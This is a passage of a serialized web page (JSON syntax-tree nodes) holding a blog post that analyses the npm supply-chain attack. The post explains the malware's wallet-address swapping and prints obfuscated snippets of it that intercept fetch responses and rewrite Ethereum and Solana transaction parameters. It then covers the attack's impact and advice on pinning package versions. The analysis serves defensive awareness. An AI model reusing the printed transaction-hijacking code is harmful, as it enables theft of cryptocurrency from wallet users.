type":29,"value":33523},{"type":23,"tag":504,"props":99693,"children":99694},{"style":5067},[99695],{"type":29,"value":5360},{"type":23,"tag":504,"props":99697,"children":99698},{"style":5058},[99699],{"type":29,"value":5333},{"type":23,"tag":504,"props":99701,"children":99702},{"class":5016,"line":5349},[99703,99707,99711,99715,99719,99723,99727,99731,99735],{"type":23,"tag":504,"props":99704,"children":99705},{"style":5041},[99706],{"type":29,"value":45290},{"type":23,"tag":504,"props":99708,"children":99709},{"style":5047},[99710],{"type":29,"value":5050},{"type":23,"tag":504,"props":99712,"children":99713},{"style":5067},[99714],{"type":29,"value":38268},{"type":23,"tag":504,"props":99716,"children":99717},{"style":5041},[99718],{"type":29,"value":99486},{"type":23,"tag":504,"props":99720,"children":99721},{"style":5058},[99722],{"type":29,"value":357},{"type":23,"tag":504,"props":99724,"children":99725},{"style":5139},[99726],{"type":29,"value":17466},{"type":23,"tag":504,"props":99728,"children":99729},{"style":5058},[99730],{"type":29,"value":32223},{"type":23,"tag":504,"props":99732,"children":99733},{"style":5139},[99734],{"type":29,"value":29},{"type":23,"tag":504,"props":99736,"children":99737},{"style":5058},[99738],{"type":29,"value":5725},{"type":23,"tag":504,"props":99740,"children":99741},{"class":5016,"line":5367},[99742],{"type":23,"tag":504,"props":99743,"children":99744},{"style":5058},[99745],{"type":29,"value":7917},{"type":23,"tag":504,"props":99747,"children":99748},{"class":5016,"line":5388},[99749,99753,99758,99762,99767,99771,99775],{"type":23,"tag":504,"props":99750,"children":99751},{"style":5030},[99752],{"type":29,"value":38245},{"type":23,"tag":504,"props":99754,"children":99755},{"style":5041},[99756],{"type":29,"value":99757}," processedData",{"type":23,"tag":504,"props":99759,"children":99760},{"style":5047},[99761],{"type":29,"value":5050},{"type":23,"tag":504,"props":99763,"children":99764},{"style":5139},[99765],{"type":29,"value":99766}," replaceAddresses",{"type":23,"tag":504,"props":99768,"children":99769},{"style":5058},[99770],{"type":29,"value":603},{"type":23,"tag":504,"props":99772,"children":99773},{"style":5041},[99774],{"type":29,"value":5761},{"type":23,"tag":504,"props":99776,"children":99777},{"style":5058},[99778],{"type":29,"value":5888},{"type":23,"tag":504,"props":99780,"children":99781},{"class":5016,"line":5397},[99782,99786,99791],{"type":23,"tag":504,"props":99783,"children":99784},{"style":5030},[99785],{"type":29,"value":38245},{"type":23,"tag":504,"props":99787,"children":99788},{"style":5041},[99789],{"type":29,"value":99790}," finalResponseText",{"type":23,"tag":504,"props":99792,"children":99793},{"style":5047},[99794],{"type":29,"value":37912},{"type":23,"tag":504,"props":99796,"children":99797},{"class":5016,"line":5649},[99798,99803,99807,99811,99816,99821,99825,99829,99833,99837,99841,99845,99850],{"type":23,"tag":504,"props":99799,"children":99800},{"style":5030},[99801],{"type":29,"value":99802},"    typeof",{"type":23,"tag":504,"props":99804,"children":99805},{"style":5041},[99806],{"type":29,"value":99757},{"type":23,"tag":504,"props":99808,"children":99809},{"style":5047},[99810],{"type":29,"value":33477},{"type":23,"tag":504,"props":99812,"children":99813},{"style":6297},[99814],{"type":29,"value":99815}," 'string'",{"type":23,"tag":504,"props":99817,"children":99818},{"style":5047},[99819],{"type":29,"value":99820}," ?",{"type":23,"tag":504,"props":99822,"children":99823},{"style":5041},[99824],{"type":29,"value":99757},{"type":23,"tag":504,"props":99826,"children":99827},{"style":5047},[99828],{"type":29,"value":37172},{"type":23,"tag":504,"props":99830,"children":99831},{"style":5041},[99832],{"type":29,"value":39585},{"type":23,"tag":504,"props":99834,"children":99835},{"style":5058},[99836],{"type":29,"value":357},{"type":23,"tag":504,"props":99838,"children":99839},{"style":5139},[99840],{"type":29,"value":41289},{"type":23,"tag":504,"props":99842,"children":99843},{"style":5058},[99844],{"type":29,"value":603},{"type":23,"tag":504,"props":99846,"children":99847},{"style":5041},[99848],{"type":29,"value":99849},"processedData",{"type":23,"tag":504,"props":99851,"children":99852},{"style":5058},[99853],{"type":29,"value":5888},{"type":23,"tag":504,"props":99855,"children":99856},{"class":5016,"line":5666},[99857,99861,99866,99870,99874,99879,99883,99888],{"type":23,"tag":504,"props":99858,"children":99859},{"style":5030},[99860],{"type":29,"value":38245},{"type":23,"tag":504,"props":99862,"children":99863},{"style":5041},[99864],{"type":29,"value":99865}," finalResponse",{"type":23,"tag":504,"props":99867,"children":99868},{"style":5047},[99869],{"type":29,"value":5050},{"type":23,"tag":504,"props":99871,"children":99872},{"style":5030},[99873],{"type":29,"value":33988},{"type":23,"tag":504,"props":99875,"children":99876},{"style":5139},[99877],{"type":29,"value":99878}," Response",{"type":23,"tag":504,"props":99880,"children":99881},{"style":5058},[99882],{"type":29,"value":603},{"type":23,"tag":504,"props":99884,"children":99885},{"style":5041},[99886],{"type":29,"value":99887},"finalResponseText",{"type":23,"tag":504,"props":99889,"children":99890},{"style":5058},[99891],{"type":29,"value":50945},{"type":23,"tag":504,"props":99893,"children":99894},{"class":5016,"line":5683},[99895,99900,99904,99908,99913],{"type":23,"tag":504,"props":99896,"children":99897},{"style":5041},[99898],{"type":29,"value":99899},"    status:",{"type":23,"tag":504,"props":99901,"children":99902},{"style":5041},[99903],{"type":29,"value":99486},{"type":23,"tag":504,"props":99905,"children":99906},{"style":5058},[99907],{"type":29,"value":357},{"type":23,"tag":504,"props":99909,"children":99910},{"style":5041},[99911],{"type":29,"value":99912},"status",{"type":23,"tag":504,"props":99914,"children":99915},{"style":5058},[99916],{"type":29,"value":5557},{"type":23,"tag":504,"props":99918,"children":99919},{"class":5016,"line":5696},[99920,99925,99929,99933,99938],{"type":23,"tag":504,"props":99921,"children":99922},{"style":5041},[99923],{"type":29,"value":99924},"    statusText:",{"type":23,"tag":504,"props":99926,"children":99927},{"style":5041},[99928],{"type":29,"value":99486},{"type":23,"tag":504,"props":99930,"children":99931},{"style":5058},[99932],{"type":29,"value":357},{"type":23,"tag":504,"props":99934,"children":99935},{"style":5041},[99936],{"type":29,"value":99937},"statusText",{"type":23,"tag":504,"props":99939,"children":99940},{"style":5058},[99941],{"type":29,"value":5557},{"type":23,"tag":504,"props":99943,"children":99944},{"class":5016,"line":5705},[99945,99950,99954,99958,99962],{"type":23,"tag":504,"props":99946,"children":99947},{"style":5041},[99948],{"type":29,"value":99949},"    headers:",{"type":23,"tag":504,"props":99951,"children":99952},{"style":5041},[99953],{"type":29,"value":99486},{"type":23,"tag":504,"props":99955,"children":99956},{"style":5058},[99957],{"type":29,"value":357},{"type":23,"tag":504,"props":99959,"children":99960},{"style":5041},[99961],{"type":29,"value":99560},{"type":23,"tag":504,"props":99963,"children":99964},{"style":5058},[99965],{"type":29,"value":5557},{"type":23,"tag":504,"props":99967,"children":99968},{"class":5016,"line":5728},[99969],{"type":23,"tag":504,"props":99970,"children":99971},{"style":5058},[99972],{"type":29,"value":99973},"  });\n",{"type":23,"tag":504,"props":99975,"children":99976},{"class":5016,"line":5737},[99977,99981,99985],{"type":23,"tag":504,"props":99978,"children":99979},{"style":5067},[99980],{"type":29,"value":41255},{"type":23,"tag":504,"props":99982,"children":99983},{"style":5041},[99984],{"type":29,"value":99865},{"type":23,"tag":504,"props":99986,"children":99987},{"style":5058},[99988],{"type":29,"value":5061},{"type":23,"tag":504,"props":99990,"children":99991},{"class":5016,"line":5746},[99992],{"type":23,"tag":504,"props":99993,"children":99994},{"style":5058},[99995],{"type":29,"value":18625},{"type":23,"tag":139,"props":99997,"children":99998},{"start":4876},[99999],{"type":23,"tag":143,"props":100000,"children":100001},{},[100002],{"type":29,"value":100003},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":4743,"props":100005,"children":100007},{"code":100006,"language":33420,"meta":7,"className":33418,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[100008],{"type":23,"tag":154,"props":100009,"children":100010},{"__ignoreMap":7},[100011,100090,100101,100158,100198,100223,100238,100249,100283,100316,100335,100362,100370,100381,100421,100450,100478,100485,100525,100568,100612,100627,100666,100673,100697,100704],{"type":23,"tag":504,"props":100012,"children":100013},{"class":5016,"line":5017},[100014,100018,100022,100027,100031,100035,100039,100044,100048,100053,100057,100062,100066,100070,100074,100078,100082,100086],{"type":23,"tag":504,"props":100015,"children":100016},{"style":5067},[100017],{"type":29,"value":17626},{"type":23,"tag":504,"props":100019,"children":100020},{"style":5058},[100021],{"type":29,"value":5110},{"type":23,"tag":504,"props":100023,"children":100024},{"style":5041},[100025],{"type":29,"value":100026},"_0x2c3d7e",{"type":23,"tag":504,"props":100028,"children":100029},{"style":5058},[100030],{"type":29,"value":357},{"type":23,"tag":504,"props":100032,"children":100033},{"style":5041},[100034],{"type":29,"value":40369},{"type":23,"tag":504,"props":100036,"children":100037},{"style":5047},[100038],{"type":29,"value":33477},{"type":23,"tag":504,"props":100040,"children":100041},{"style":6297},[100042],{"type":29,"value":100043}," 'eth_sendTransaction'",{"type":23,"tag":504,"props":100045,"children":100046},{"style":5047},[100047],{"type":29,"value":16231},{"type":23,"tag":504,"props":100049,"children":100050},{"style":5041},[100051],{"type":29,"value":100052}," _0x2c3d7e",{"type":23,"tag":504,"props":100054,"children":100055},{"style":5058},[100056],{"type":29,"value":357},{"type":23,"tag":504,"props":100058,"children":100059},{"style":5041},[100060],{"type":29,"value":100061},"params",{"type":23,"tag":504,"props":100063,"children":100064},{"style":5047},[100065],{"type":29,"value":16231},{"type":23,"tag":504,"props":100067,"children":100068},{"style":5041},[100069],{"type":29,"value":100052},{"type":23,"tag":504,"props":100071,"children":100072},{"style":5058},[100073],{"type":29,"value":357},{"type":23,"tag":504,"props":100075,"children":100076},{"style":5041},[100077],{"type":29,"value":100061},{"type":23,"tag":504,"props":100079,"children":100080},{"style":5058},[100081],{"type":29,"value":1380},{"type":23,"tag":504,"props":100083,"children":100084},{"style":5083},[100085],{"type":29,"value":708},{"type":23,"tag":504,"props":100087,"children":100088},{"style":5058},[100089],{"type":29,"value":42681},{"type":23,"tag":504,"props":100091,"children":100092},{"class":5016,"line":4868},[100093,100097],{"type":23,"tag":504,"props":100094,"children":100095},{"style":5067},[100096],{"type":29,"value":99129},{"type":23,"tag":504,"props":100098,"children":100099},{"style":5058},[100100],{"type":29,"value":5333},{"type":23,"tag":504,"props":100102,"children":100103},{"class":5016,"line":4876},[100104,100108,100113,100117,100122,100126,100130,100134,100138,100142,100146,100150,100154],{"type":23,"tag":504,"props":100105,"children":100106},{"style":5030},[100107],{"type":29,"value":53729},{"type":23,"tag":504,"props":100109,"children":100110},{"style":5041},[100111],{"type":29,"value":100112}," _0x39ad21",{"type":23,"tag":504,"props":100114,"children":100115},{"style":5047},[100116],{"type":29,"value":5050},{"type":23,"tag":504,"props":100118,"children":100119},{"style":5139},[100120],{"type":29,"value":100121}," _0x1089ae",{"type":23,"tag":504,"props":100123,"children":100124},{"style":5058},[100125],{"type":29,"value":603},{"type":23,"tag":504,"props":100127,"children":100128},{"style":5041},[100129],{"type":29,"value":100026},{"type":23,"tag":504,"props":100131,"children":100132},{"style":5058},[100133],{"type":29,"value":357},{"type":23,"tag":504,"props":100135,"children":100136},{"style":5041},[100137],{"type":29,"value":100061},{"type":23,"tag":504,"props":100139,"children":100140},{"style":5058},[100141],{"type":29,"value":1380},{"type":23,"tag":504,"props":100143,"children":100144},{"style":5083},[100145],{"type":29,"value":708},{"type":23,"tag":504,"props":100147,"children":100148},{"style":5058},[100149],{"type":29,"value":25101},{"type":23,"tag":504,"props":100151,"children":100152},{"style":5030},[100153],{"type":29,"value":513},{"type":23,"tag":504,"props":100155,"children":100156},{"style":5058},[100157],{"type":29,"value":5888},{"type":23,"tag":504,"props":100159,"children":100160},{"class":5016,"line":5099},[100161,100166,100170,100174,100178,100182,100186,100190,100194],{"type":23,"tag":504,"props":100162,"children":100163},{"style":5041},[100164],{"type":29,"value":100165},"    _0x2c3d7e",{"type":23,"tag":504,"props":100167,"children":100168},{"style":5058},[100169],{"type":29,"value":357},{"type":23,"tag":504,"props":100171,"children":100172},{"style":5041},[100173],{"type":29,"value":100061},{"type":23,"tag":504,"props":100175,"children":100176},{"style":5058},[100177],{"type":29,"value":1380},{"type":23,"tag":504,"props":100179,"children":100180},{"style":5083},[100181],{"type":29,"value":708},{"type":23,"tag":504,"props":100183,"children":100184},{"style":5058},[100185],{"type":29,"value":10706},{"type":23,"tag":504,"props":100187,"children":100188},{"style":5047},[100189],{"type":29,"value":546},{"type":23,"tag":504,"props":100191,"children":100192},{"style":5041},[100193],{"type":29,"value":100112},{"type":23,"tag":504,"props":100195,"children":100196},{"style":5058},[100197],{"type":29,"value":5061},{"type":23,"tag":504,"props":100199,"children":100200},{"class":5016,"line":5203},[100201,100205,100209,100213,100218],{"type":23,"tag":504,"props":100202,"children":100203},{"style":5058},[100204],{"type":29,"value":33523},{"type":23,"tag":504,"props":100206,"children":100207},{"style":5067},[100208],{"type":29,"value":50474},{"type":23,"tag":504,"props":100210,"children":100211},{"style":5058},[100212],{"type":29,"value":5110},{"type":23,"tag":504,"props":100214,"children":100215},{"style":5041},[100216],{"type":29,"value":100217},"_0x226343",{"type":23,"tag":504,"props":100219,"children":100220},{"style":5058},[100221],{"type":29,"value":100222},") {}\n",{"type":23,"tag":504,"props":100224,"children":100225},{"class":5016,"line":5308},[100226,100230,100234],{"type":23,"tag":504,"props":100227,"children":100228},{"style":5058},[100229],{"type":29,"value":48936},{"type":23,"tag":504,"props":100231,"children":100232},{"style":5067},[100233],{"type":29,"value":5360},{"type":23,"tag":504,"props":100235,"children":100236},{"style":5058},[100237],{"type":29,"value":5333},{"type":23,"tag":504,"props":100239,"children":100240},{"class":5016,"line":5336},[100241,100245],{"type":23,"tag":504,"props":100242,"children":100243},{"style":5067},[100244],{"type":29,"value":33449},{"type":23,"tag":504,"props":100246,"children":100247},{"style":5058},[100248],{"type":29,"value":80630},{"type":23,"tag":504,"props":100250,"children":100251},{"class":5016,"line":5349},[100252,100257,100261,100265,100269,100273,100278],{"type":23,"tag":504,"props":100253,"children":100254},{"style":5058},[100255],{"type":29,"value":100256},"    (",{"type":23,"tag":504,"props":100258,"children":100259},{"style":5041},[100260],{"type":29,"value":100026},{"type":23,"tag":504,"props":100262,"children":100263},{"style":5058},[100264],{"type":29,"value":357},{"type":23,"tag":504,"props":100266,"children":100267},{"style":5041},[100268],{"type":29,"value":40369},{"type":23,"tag":504,"props":100270,"children":100271},{"style":5047},[100272],{"type":29,"value":33477},{"type":23,"tag":504,"props":100274,"children":100275},{"style":6297},[100276],{"type":29,"value":100277}," 'solana_signTransaction'",{"type":23,"tag":504,"props":100279,"children":100280},{"style":5047},[100281],{"type":29,"value":100282}," ||\n",{"type":23,"tag":504,"props":100284,"children":100285},{"class":5016,"line":5367},[100286,100291,100295,100299,100303,100308,100312],{"type":23,"tag":504,"props":100287,"children":100288},{"style":5041},[100289],{"type":29,"value":100290},"      _0x2c3d7e",{"type":23,"tag":504,"props":100292,"children":100293},{"style":5058},[100294],{"type":29,"value":357},{"type":23,"tag":504,"props":100296,"children":100297},{"style":5041},[100298],{"type":29,"value":40369},{"type":23,"tag":504,"props":100300,"children":100301},{"style":5047},[100302],{"type":29,"value":33477},{"type":23,"tag":504,"props":100304,"children":100305},{"style":6297},[100306],{"type":29,"value":100307}," 'solana_signAndSendTransaction'",{"type":23,"tag":504,"props":100309,"children":100310},{"style":5058},[100311],{"type":29,"value":5128},{"type":23,"tag":504,"props":100313,"children":100314},{"style":5047},[100315],{"type":29,"value":85879},{"type":23,"tag":504,"props":100317,"children":100318},{"class":5016,"line":5388},[100319,100323,100327,100331],{"type":23,"tag":504,"props":100320,"children":100321},{"style":5041},[100322],{"type":29,"value":100165},{"type":23,"tag":504,"props":100324,"children":100325},{"style":5058},[100326],{"type":29,"value":357},{"type":23,"tag":504,"props":100328,"children":100329},{"style":5041},[100330],{"type":29,"value":100061},{"type":23,"tag":504,"props":100332,"children":100333},{"style":5047},[100334],{"type":29,"value":54745},{"type":23,"tag":504,"props":100336,"children":100337},{"class":5016,"line":5397},[100338,100342,100346,100350,100354,100358],{"type":23,"tag":504,"props":100339,"children":100340},{"style":5041},[100341],{"type":29,"value":100165},{"type":23,"tag":504,"props":100343,"children":100344},{"style":5058},[100345],{"type":29,"value":357},{"type":23,"tag":504,"props":100347,"children":100348},{"style":5041},[100349],{"type":29,"value":100061},{"type":23,"tag":504,"props":100351,"children":100352},{"style":5058},[100353],{"type":29,"value":1380},{"type":23,"tag":504,"props":100355,"children":100356},{"style":5083},[100357],{"type":29,"value":708},{"type":23,"tag":504,"props":100359,"children":100360},{"style":5058},[100361],{"type":29,"value":13818},{"type":23,"tag":504,"props":100363,"children":100364},{"class":5016,"line":5649},[100365],{"type":23,"tag":504,"props":100366,"children":100367},{"style":5058},[100368],{"type":29,"value":100369},"  ) {\n",{"type":23,"tag":504,"props":100371,"children":100372},{"class":5016,"line":5666},[100373,100377],{"type":23,"tag":504,"props":100374,"children":100375},{"style":5067},[100376],{"type":29,"value":72046},{"type":23,"tag":504,"props":100378,"children":100379},{"style":5058},[100380],{"type":29,"value":5333},{"type":23,"tag":504,"props":100382,"children":100383},{"class":5016,"line":5683},[100384,100388,100393,100397,100401,100405,100409,100413,100417],{"type":23,"tag":504,"props":100385,"children":100386},{"style":5030},[100387],{"type":29,"value":10120},{"type":23,"tag":504,"props":100389,"children":100390},{"style":5041},[100391],{"type":29,"value":100392}," _0x5ad975",{"type":23,"tag":504,"props":100394,"children":100395},{"style":5047},[100396],{"type":29,"value":5050},{"type":23,"tag":504,"props":100398,"children":100399},{"style":5041},[100400],{"type":29,"value":100052},{"type":23,"tag":504,"props":100402,"children":100403},{"style":5058},[100404],{"type":29,"value":357},{"type":23,"tag":504,"props":100406,"children":100407},{"style":5041},[100408],{"type":29,"value":100061},{"type":23,"tag":504,"props":100410,"children":100411},{"style":5058},[100412],{"type":29,"value":1380},{"type":23,"tag":504,"props":100414,"children":100415},{"style":5083},[100416],{"type":29,"value":708},{"type":23,"tag":504,"props":100418,"children":100419},{"style":5058},[100420],{"type":29,"value":33629},{"type":23,"tag":504,"props":100422,"children":100423},{"class":5016,"line":5696},[100424,100428,100432,100437,100441,100446],{"type":23,"tag":504,"props":100425,"children":100426},{"style":5067},[100427],{"type":29,"value":41343},{"type":23,"tag":504,"props":100429,"children":100430},{"style":5058},[100431],{"type":29,"value":5110},{"type":23,"tag":504,"props":100433,"children":100434},{"style":5041},[100435],{"type":29,"value":100436},"_0x5ad975",{"type":23,"tag":504,"props":100438,"children":100439},{"style":5058},[100440],{"type":29,"value":357},{"type":23,"tag":504,"props":100442,"children":100443},{"style":5041},[100444],{"type":29,"value":100445},"transaction",{"type":23,"tag":504,"props":100447,"children":100448},{"style":5058},[100449],{"type":29,"value":16850},{"type":23,"tag":504,"props":100451,"children":100452},{"class":5016,"line":5705},[100453,100458,100462,100466,100470,100474],{"type":23,"tag":504,"props":100454,"children":100455},{"style":5041},[100456],{"type":29,"value":100457},"        _0x5ad975",{"type":23,"tag":504,"props":100459,"children":100460},{"style":5047},[100461],{"type":29,"value":5050},{"type":23,"tag":504,"props":100463,"children":100464},{"style":5041},[100465],{"type":29,"value":100392},{"type":23,"tag":504,"props":100467,"children":100468},{"style":5058},[100469],{"type":29,"value":357},{"type":23,"tag":504,"props":100471,"children":100472},{"style":5041},[100473],{"type":29,"value":100445},{"type":23,"tag":504,"props":100475,"children":100476},{"style":5058},[100477],{"type":29,"value":5061},{"type":23,"tag":504,"props":100479,"children":100480},{"class":5016,"line":5728},[100481],{"type":23,"tag":504,"props":100482,"children":100483},{"style":5058},[100484],{"type":29,"value":14710},{"type":23,"tag":504,"props":100486,"children":100487},{"class":5016,"line":5737},[100488,100492,100497,100501,100505,100509,100513,100517,100521],{"type":23,"tag":504,"props":100489,"children":100490},{"style":5030},[100491],{"type":29,"value":33602},{"type":23,"tag":504,"props":100493,"children":100494},{"style":5041},[100495],{"type":29,"value":100496}," _0x5dbe63",{"type":23,"tag":504,"props":100498,"children":100499},{"style":5047},[100500],{"type":29,"value":5050},{"type":23,"tag":504,"props":100502,"children":100503},{"style":5139},[100504],{"type":29,"value":100121},{"type":23,"tag":504,"props":100506,"children":100507},{"style":5058},[100508],{"type":29,"value":603},{"type":23,"tag":504,"props":100510,"children":100511},{"style":5041},[100512],{"type":29,"value":100436},{"type":23,"tag":504,"props":100514,"children":100515},{"style":5058},[100516],{"type":29,"value":4367},{"type":23,"tag":504,"props":100518,"children":100519},{"style":5030},[100520],{"type":29,"value":10220},{"type":23,"tag":504,"props":100522,"children":100523},{"style":5058},[100524],{"type":29,"value":5888},{"type":23,"tag":504,"props":100526,"children":100527},{"class":5016,"line":5746},[100528,100532,100536,100540,100544,100548,100552,100556,100560,100564],{"type":23,"tag":504,"props":100529,"children":100530},{"style":5067},[100531],{"type":29,"value":41343},{"type":23,"tag":504,"props":100533,"children":100534},{"style":5058},[100535],{"type":29,"value":5110},{"type":23,"tag":504,"props":100537,"children":100538},{"style":5041},[100539],{"type":29,"value":100026},{"type":23,"tag":504,"props":100541,"children":100542},{"style":5058},[100543],{"type":29,"value":357},{"type":23,"tag":504,"props":100545,"children":100546},{"style":5041},[100547],{"type":29,"value":100061},{"type":23,"tag":504,"props":100549,"children":100550},{"style":5058},[100551],{"type":29,"value":1380},{"type":23,"tag":504,"props":100553,"children":100554},{"style":5083},[100555],{"type":29,"value":708},{"type":23,"tag":504,"props":100557,"children":100558},{"style":5058},[100559],{"type":29,"value":52412},{"type":23,"tag":504,"props":100561,"children":100562},{"style":5041},[100563],{"type":29,"value":100445},{"type":23,"tag":504,"props":100565,"children":100566},{"style":5058},[100567],{"type":29,"value":16850},{"type":23,"tag":504,"props":100569,"children":100570},{"class":5016,"line":5813},[100571,100576,100580,100584,100588,100592,100596,100600,100604,100608],{"type":23,"tag":504,"props":100572,"children":100573},{"style":5041},[100574],{"type":29,"value":100575},"        _0x2c3d7e",{"type":23,"tag":504,"props":100577,"children":100578},{"style":5058},[100579],{"type":29,"value":357},{"type":23,"tag":504,"props":100581,"children":100582},{"style":5041},[100583],{"type":29,"value":100061},{"type":23,"tag":504,"props":100585,"children":100586},{"style":5058},[100587],{"type":29,"value":1380},{"type":23,"tag":504,"props":100589,"children":100590},{"style":5083},[100591],{"type":29,"value":708},{"type":23,"tag":504,"props":100593,"children":100594},{"style":5058},[100595],{"type":29,"value":52412},{"type":23,"tag":504,"props":100597,"children":100598},{"style":5041},[100599],{"type":29,"value":100445},{"type":23,"tag":504,"props":100601,"children":100602},{"style":5047},[100603],{"type":29,"value":5050},{"type":23,"tag":504,"props":100605,"children":100606},{"style":5041},[100607],{"type":29,"value":100496},{"type":23,"tag":504,"props":100609,"children":100610},{"style":5058},[100611],{"type":29,"value":5061},{"type":23,"tag":504,"props":100613,"children":100614},{"class":5016,"line":5821},[100615,100619,100623],{"type":23,"tag":504,"props":100616,"children":100617},{"style":5058},[100618],{"type":29,"value":40996},{"type":23,"tag":504,"props":100620,"children":100621},{"style":5067},[100622],{"type":29,"value":5360},{"type":23,"tag":504,"props":100624,"children":100625},{"style":5058},[100626],{"type":29,"value":5333},{"type":23,"tag":504,"props":100628,"children":100629},{"class":5016,"line":5851},[100630,100634,100638,100642,100646,100650,100654,100658,100662],{"type":23,"tag":504,"props":100631,"children":100632},{"style":5041},[100633],{"type":29,"value":100575},{"type":23,"tag":504,"props":100635,"children":100636},{"style":5058},[100637],{"type":29,"value":357},{"type":23,"tag":504,"props":100639,"children":100640},{"style":5041},[100641],{"type":29,"value":100061},{"type":23,"tag":504,"props":100643,"children":100644},{"style":5058},[100645],{"type":29,"value":1380},{"type":23,"tag":504,"props":100647,"children":100648},{"style":5083},[100649],{"type":29,"value":708},{"type":23,"tag":504,"props":100651,"children":100652},{"style":5058},[100653],{"type":29,"value":10706},{"type":23,"tag":504,"props":100655,"children":100656},{"style":5047},[100657],{"type":29,"value":546},{"type":23,"tag":504,"props":100659,"children":100660},{"style":5041},[100661],{"type":29,"value":100496},{"type":23,"tag":504,"props":100663,"children":100664},{"style":5058},[100665],{"type":29,"value":5061},{"type":23,"tag":504,"props":100667,"children":100668},{"class":5016,"line":5859},[100669],{"type":23,"tag":504,"props":100670,"children":100671},{"style":5058},[100672],{"type":29,"value":14710},{"type":23,"tag":504,"props":100674,"children":100675},{"class":5016,"line":5891},[100676,100680,100684,100688,100693],{"type":23,"tag":504,"props":100677,"children":100678},{"style":5058},[100679],{"type":29,"value":17826},{"type":23,"tag":504,"props":100681,"children":100682},{"style":5067},[100683],{"type":29,"value":50474},{"type":23,"tag":504,"props":100685,"children":100686},{"style":5058},[100687],{"type":29,"value":5110},{"type":23,"tag":504,"props":100689,"children":100690},{"style":5041},[100691],{"type":29,"value":100692},"_0x4b99fd",{"type":23,"tag":504,"props":100694,"children":100695},{"style":5058},[100696],{"type":29,"value":100222},{"type":23,"tag":504,"props":100698,"children":100699},{"class":5016,"line":5899},[100700],{"type":23,"tag":504,"props":100701,"children":100702},{"style":5058},[100703],{"type":29,"value":7917},{"type":23,"tag":504,"props":100705,"children":100706},{"class":5016,"line":5959},[100707],{"type":23,"tag":504,"props":100708,"children":100709},{"style":5058},[100710],{"type":29,"value":5965},{"type":23,"tag":320,"props":100712,"children":100714},{"id":100713},"impact-of-the-attack",[100715],{"type":29,"value":100716},"Impact of the Attack",{"type":23,"tag":32,"props":100718,"children":100719},{},[100720],{"type":29,"value":100721},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":24,"props":100723,"children":100725},{"id":100724},"why-it-will-happen-again",[100726],{"type":29,"value":100727},"Why It Will Happen Again",{"type":23,"tag":32,"props":100729,"children":100730},{},[100731],{"type":29,"value":100732},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":32,"props":100734,"children":100735},{},[100736],{"type":29,"value":100737},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":24,"props":100739,"children":100741},{"id":100740},"what-developers-can-do",[100742],{"type":29,"value":100743},"What Developers Can Do",{"type":23,"tag":32,"props":100745,"children":100746},{},[100747],{"type":29,"value":100748},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":320,"props":100750,"children":100752},{"id":100751},"_1-version-pinning-in-packagejson",[100753,100755],{"type":29,"value":100754},"1. Version pinning in ",{"type":23,"tag":154,"props":100756,"children":100758},{"className":100757},[],[100759],{"type":29,"value":100760},"package.json",{"type":23,"tag":32,"props":100762,"children":100763},{},[100764],{"type":29,"value":100765},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":32,"props":100767,"children":100768},{},[100769,100771,100777,100779,100784,100786,100791],{"type":29,"value":100770},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":154,"props":100772,"children":100774},{"className":100773},[],[100775],{"type":29,"value":100776},"npm install",{"type":29,"value":100778},". To pin it, just make sure to remove the caret ",{"type":23,"tag":154,"props":100780,"children":100782},{"className":100781},[],[100783],{"type":29,"value":50997},{"type":29,"value":100785}," symbol before the version in ",{"type":23,"tag":154,"props":100787,"children":100789},{"className":100788},[],[100790],{"type":29,"value":100760},{"type":29,"value":6533},{"type":23,"tag":4743,"props":100793,"children":100795},{"code":100794,"language":36053,"meta":7,"className":36051,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": 